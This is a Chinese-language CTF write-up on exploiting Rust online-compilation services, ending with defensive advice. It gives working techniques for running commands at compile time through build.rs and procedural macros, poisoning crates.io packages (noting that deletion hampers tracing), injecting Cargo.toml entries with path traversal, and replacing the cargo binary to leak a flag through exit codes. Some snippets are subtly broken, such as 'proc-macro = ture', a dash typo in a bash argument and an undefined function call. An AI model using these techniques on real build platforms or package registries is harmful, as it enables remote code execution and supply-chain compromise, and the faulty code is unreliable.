rust在线编译项目常见漏洞

近年来,随着 Rust 语言在高性能、内存安全等领域的优势被广泛认可,越来越多的开发者选择将其应用于后端开发,尤其在 WebAssembly、微服务和高并发场景中表现亮眼。

然而,Rust 生态的快速扩张也带来了新的安全挑战:尽管语言本身通过所有权机制规避了内存安全问题,但 Web 应用层的逻辑漏洞(如 SQL 注入、身份验证绕过)、第三方库的潜在缺陷(如未充分审计的 unsafe 代码滥用)以及对安全实践的过度自信(如忽略输入验证或错误配置 CORS 策略),正在导致 Rust 相关的 Web 安全问题逐渐浮出水面。

社区亟需在享受 Rust 底层安全红利的同时,建立更完善的安全开发规范,加强依赖库审计,并推动 Web 框架的漏洞响应机制,以应对日益复杂的安全威胁。而生活中在线编译的环境随处可见,非常容易成为被攻击的重点对象,而本次就是在阿里 CTF 中出现的一道 Rust 编译类题目,故总结了一套相关的相关知识。

相关rust项目结构知识

在 Rust 生态中,Cargo.toml 文件如同项目的中枢神经,扮演着至关重要的**清单(Manifest)**角色。其不仅是一份静态的配置文件,还是是开发者与 Rust 编译工具链(Cargo)之间的核心。通过 toml,开发者能够以声明式语法精确控制项目——从定义包元数据(如版本、作者、许可证)、声明依赖关系(通过本地路径、Git 仓库或官方注册表[crates.io]引入第三方 crate),到定制编译策略(如特性开关、优化级别、目标平台配置),甚至扩展自定义构建脚本。

实现跨项目引用的核心机制,则隐藏在 Cargo.toml 的特定字段中:

dependence引用

[dependencies]
项目名称 = {path = "本地路径"}
项目名称 = {git = "git项目地址"}
项目名称 = {version = "版本"}

workspace

若你提到的是管理多个关联的包(多 crate 项目),Cargo 提供了 [workspace] 配置,允许在单一仓库中组织多个 crate,共享依赖和构建缓存。

[workspace]
members = [
    "crate1",      # 子 crate 的目录名
    "crate2",
    "examples/*",  # 支持通配符
]
resolver = "2"     # 可选:统一依赖解析器

引用本地过程

Rust 的过程宏(Procedural Macros)是元编程(metaprogramming)的核心工具之一,允许开发者在编译时对代码进行动态生成和转换。与声明宏(Declarative Macros)不同,过程宏通过自定义代码逻辑直接操作抽象语法树(AST),实现更复杂的代码生成能力。以下是过程宏的深度解析,而我们也可以通过 Cargo.toml 对其进行引用。

那么如果现在存在一个文件夹拥有如下的 Rust 项目的文件夹。

├─testaaa
│  ├─.idea
│  ├─src
│  └─Cargo.toml
│     
└─testbbb
    ├─.idea
    ├─src
    └─Cargo.toml

那么此时可以通过在 testaaa 项目的 Cargo.toml 中使用以下配置来对其他的过程宏项目进行引用。

[lib]
proc-macro = ture
path = "../[项目名称]/xx.rs"

利用test宏快速白盒审计

Rust 的 test 宏提供了便捷的测试的方式,提供简单的 test 宏即可对单个函数到多个项目的调试,可以在 main.rs 以外的 rs 文件下添加以下代码:

#[cfg(test)]
mod tests{
    
	#[test]
	fn test1(){
		// 写入测试函数
	}
    #[test]
    fn test2(){
        // 写入测试函数
    }
}

我们可以在其中写入我们想要审计的函数并赋予一定的逻辑和参数,然后执行 cargo test 即可完成快速的代码审计测试。

cargo中的特性利用

在有的编译平台中,代码并不会在平台进行执行,而是仅对文件编译后再提供下载,那么这种情况下我们需要利用一定的 cargo 特性,来对其进行利用(如编译期执行)。

编译执行

Rust 的编译存在以下三种执行:

  • 过程宏编译执行
  • build.rs 执行
  • 编译时计算(不能利用)const fn

而其中 build 构建执行和过程宏编译时执行是常可以利用的项,它们可以实现编译时期无需运行来进行命令执行。

利用Cargo.toml实现main.rs自执行

很多时候我们无法自己创建 build.rs,但是可以利用 Cargo.toml 中的选项。

build = "路径"

我们可以将 build 的路径换成任何我们想要的 rs 文件(**包括 main.rs !**我们可以通过这点在很多有限制的地方进行执行)从而实现 build.rs 执行。

创建一个项目,在 Cargo.toml 中写入以下内容,让 main.rs 本身变为 build 脚本:

build = "main.rs"

然后在项目中写入以下内容,这里是在当前目录下创建如下测试文件:

    fn main() {
        fs::OpenOptions::new().append(true).create(true).open("./test.rs").unwrap();
    }

然后使用 Cargo build 进行仅编译,但我们会发现,即使没有执行的情况下,还是生成了对应的文件。利用这个特性,我们可以将其中生成修改为任意危险操作,亦或是捕获编译机目录、编译时代码名称等等等等。但是要注意的一点是,如果之间进行反弹 shell 的情况下会导致编译异常而被强行中断。

crates.io投毒

不只是利用本地的 build 脚本,前面我们提到过 Rust 的依赖选项,Rust 通过从 crates.io 下载源码或读取本机的源码编译。由于 cargo 编译时会执行自身及其依赖的 build 脚本,这些 crates 中的 build.rs 文件也会进行运行。我们通过在上传的库中的 build.rs 放入相关危险代码,然后在上传编译平台的代码中引用,也能实现同样的功能。(现在 crates.io 上传的库可以进行删除,溯源的可能性大幅度降低)。

crates 上传教程发布到 crates.io - Rust语言圣经(Rust Course)

利用过程宏

前面提到过,在 Rust 的编译期中过程宏也会进行运行,但往往上传编译并不会给我们一个上传完整的项目的机会,而通过单文件在 Cargo.toml 中启用过程宏这个方法,这里巧妙的是,cargo 会直接对 path 的目标文件进行 rustc 编译,也就是说,即使目标文件的结构并不符合 Rust 项目的标准,只要 Rust 代码没有错误都可以将其作为过程宏生成。如此一来我们遍可以在项目 a 的 main.rs 里实现过程宏,虽然不能被正常编译,但是可以在项目 b 中引用,从而实现编译。

我们可以在过程宏中构建以下代码,来进行危险操作,然后以 main.rs 上传第一次代码,此时我们是不需要配置 toml 的,当然这个编译也是不被通过的。

use proc_macro::TokenStream;
use std::process::Command;
#[proc_macro]
pub fn some_macro(_item: TokenStream) -> TokenStream {
    let output = Command::new("/bin/bash")
        .args(&["—c", "*"]) //*中替换利用代码
        .output()
        .unwrap()
        .stdout;
    format!("fn some_function()\{}").parse().unwrap()?
}

之后我们只需要通过其他手段获得当前文件的名称与路径,再将路径放入第二个编译项目的 toml 中:

[lib]
proc-macro = ture
path = "*" //*替换为宏文件路径

此时编译第二个文件就将会执行第一次上传文件的代码了。过程宏编写指南

不稳定的特性

如果编译目标机器是属于 nightly 或可以对项目外的部分进行改写,那么就可以使用 cargo 的一些其他危险特性,如 metabuild 等等。

Cargo不稳定特性

平台环境判断

排除上文所说不执行的情况,平台提供执行功能的可能性还是要更高一些,一般来说这些编译平台都会再 docker 中运行,此时,我们需要去获取更多的信息,对当前的平台信息一些获取,才能更好的进一步利用。

判断系统和架构

std::env::consts::OS
//如果env被禁用可以使用宏来判断
fn target_os() {
    #[cfg(target_os = "linux")]
    println!("Linux");
    #[cfg(target_os = "windows")]
    println!("Windows");
}

读取指定文件夹目录

可以提供读取目录来判断是否处于 docker 环境:

use std::{fs, io, path::Path};
// 仅读取当前目录
fn directories<P: AsRef<Path>>(path: P) -> io::Result<Vec<String>> {
    let mut dirs = Vec::new();
    for entry in fs::read_dir(path)? {
        let entry = entry?;
        let path = entry.path();
        // 判断是否为目录(不跟随符号链接)
        if entry.file_type()?.is_dir() {
            dirs.push(path.display().to_string());
        }
    }
    Ok(dirs)
}

// 读取目录以及子目录
fn directories<P: AsRef<Path>>(path: P) -> io::Result<Vec<String>> {
    let mut dirs = Vec::new();
    for entry in fs::read_dir(path)? {
        let entry = entry?;
        let path = entry.path();
        // 判断是否为目录(不跟随符号链接)
        if entry.file_type()?.is_dir() {
            let dir_path = path.display().to_string();
            dirs.push(dir_path.clone());
            // 递归子目录
            let sub_dirs = list_all_directories(&path)?;
            dirs.extend(sub_dirs);
        }
    }
    Ok(dirs)
}

命令执行

通过执行命令来进行环境信息收集:

//一次性返回
fn com_run(){
    let output = Command::new("echo")
        .arg("dDostalker~")
        .output() // 捕获输出(stdout/stderr)
        .expect("Command failed");
    println!("STDOUT: {}", String::from_utf8_lossy(&output.stdout));
    println!("STDERR: {}", String::from_utf8_lossy(&output.stderr));
}
// 逐行处理
fn com_run(){
    let mut child = Command::new("ping")
        .arg("dDostalker.github.io")
        .stdout(Stdio::piped()) // 重定向标准输出到管道
        .spawn() // 启动子进程
        .expect("Failed to start command");
    let stdout = child.stdout.take().unwrap();
    let reader = BufReader::new(stdout);
    for line in reader.lines() {
        println!("{}", line.unwrap());
    }
    let status = child.wait().expect("wait command error");
    println!("exit error: {}", status);
}

替换编译器

在很多情况我们并不能正常回显或是不能正常的触发一个程序,这种情况下我们改那么我们可以通过"挖空"程序本体,换入我们的代码,这样一来,程序就可以通过下一次调用的流程的来触发。

开始编译->Cargo->rustc
将cargo替换后
开始编译->Cargo(自设指令)

以下是 linux 中 rustc 和 cargo 的常见位置:

系统级

~/.cargo/bin/         # rustc, cargo, rustup 等可执行文件
~/.cargo/registry/    # 下载的依赖缓存
~/.cargo/config.toml  # Cargo 配置文件

用户级

~/.rustup/toolchains/  # 不同版本工具链
# 例如:
~/.rustup/toolchains/stable-x86_64-unknown-linux-gnu/
~/.rustup/toolchains/nightly-x86_64-unknown-linux-gnu/
~/.cargo/bin/         # rustc, cargo, rustup 等可执行文件
~/.cargo/registry/    # 下载的依赖缓存
~/.cargo/config.toml  # Cargo 配置文件

下面就是一个替换内容的例子,我们可以通过 cargo 特性利用内容中的方法,执行 Rust 代码将 cargo 替换为以下的脚本,这个脚本将会把 flag 作为错误状态码依次返回(运行一次返回一次),我们便可以通过不断运行编译流程,此时返回的错误码就为 flag 的 ascii 码。

#!/bin/sh
STATE="/tmp/state.txt"

if [ ! -f "$STATE" ]; then
    echo 0 > "$STATE"
fi

FLAG=$(cat /flag)
IDX=$(cat "$STATE")
CHAR=$(echo "$FLAG" | cut -c$((IDX + 1)))

if [ -z "$CHAR" ]; then
    exit 255
fi

ASCII=$(printf "%d" "'$CHAR")
NEXT_IDX=$((IDX + 1))

echo "$NEXT_IDX" > "$STATE"
exit $ASCII

例题分析:Rust Action CTF题目

通过网盘分享的文件:rust.zip 链接: https://pan.baidu.com/s/1bXUNRbTmpInrttMsMve2wQ?pwd=ddos 提取码: ddos

题目背景

题目模拟了一个简化版的GitHub Action系统,主要功能包括:

  • /jobs/list: 列出所有Job
  • /jobs/upload: 上传Job的zip压缩包
  • /jobs/{id}/run: 运行指定Job
  • /artifacts/list: 列出所有构建产物
  • /artifacts/{id}: 下载指定构建产物

漏洞分析

系统配置文件(config.toml)存在以下关键配置:

[workflow.security]
files = ['main.rs']  # 仅允许操作main.rs文件
runs = ["cargo build", "cargo build --release"]  # 允许执行的命令

主要漏洞点在于route::upload_job函数中不安全的Cargo.toml生成方式:

let cargo_toml = format!(
    include_str!("../templates/Cargo.toml.tpl"),
    name = job.config.name,
    version = job.config.version,
    edition = job.config.edition,
    description = job.config.description  // 存在注入漏洞
);

漏洞利用步骤

  1. 发现注入点:

    • Cargo.toml模板使用format!宏拼接,但未对description字段进行转义
    • 可通过description字段注入任意Cargo.toml配置
  2. 绕过文件限制:

    • 系统限制只能操作main.rs文件
    • 但过程宏需要lib.rs和main.rs两个文件
    • 解决方案:上传两个Job,利用路径穿越引用
  3. 具体利用过程:

    Job A (定义过程宏):

    job:
      name: macro-definer
      mode: release
      config:
        name: macro-definer
        version: "0.1.0"
        edition: "2021"
        description: "正常描述"
      files:
        - main.rs  # 包含过程宏定义
      run: cargo build --release
    use proc_macro::TokenStream;
    use std::process::Command;
    
    #[proc_macro]
    pub fn execute_command(_item: TokenStream) -> TokenStream {
        let output = Command::new("/bin/bash")
            .args(&["-c", "/readflag"])
            .output()
            .unwrap()
            .stdout;
        let s = String::from_utf8(output).unwrap();
         format!("fn get_flag() -> String {{ \"{}\".to_string() }}", s)
             .parse()
             .unwrap()
     }

    Job B (触发过程宏):

    job:
      name: macro-executor  
      mode: release
      config:
        name: macro-executor
        version: "0.1.0"
        edition: "2021"
        description: |-
          [lib]
          proc-macro = true
          path = "../../../../../../app/jobs/<JobA_ID>/files/main.rs"
      files:
        - main.rs  # 调用过程宏
      run: cargo build --release

    由于Cargo存在777权限,通过在过程宏执行命令将替换Cargo文件为以下代码的sh文件

    #!/bin/sh
    STATE="/tmp/state.txt"
    if [ ! -f "$STATE" ]; then
        echo 0 > "$STATE"
    fi
    FLAG=$(cat /flag)
    IDX=$(cat "$STATE")
    CHAR=$(echo "$FLAG" | cut -c$((IDX + 1)))
    if [ -z "$CHAR" ]; then
        exit 255
    fi
    ASCII=$(printf "%d" "'$CHAR")
    NEXT_IDX=$((IDX + 1))
    echo "$NEXT_IDX" > "$STATE"
    exit $ASCII

    替换后每次编译执行的错误代码即为flag

防御建议

  1. 对Cargo.toml模板中的用户输入进行严格过滤
  2. 限制path字段的路径访问范围
  3. 禁止proc-macro等危险特性
  4. 在沙箱环境中执行编译过程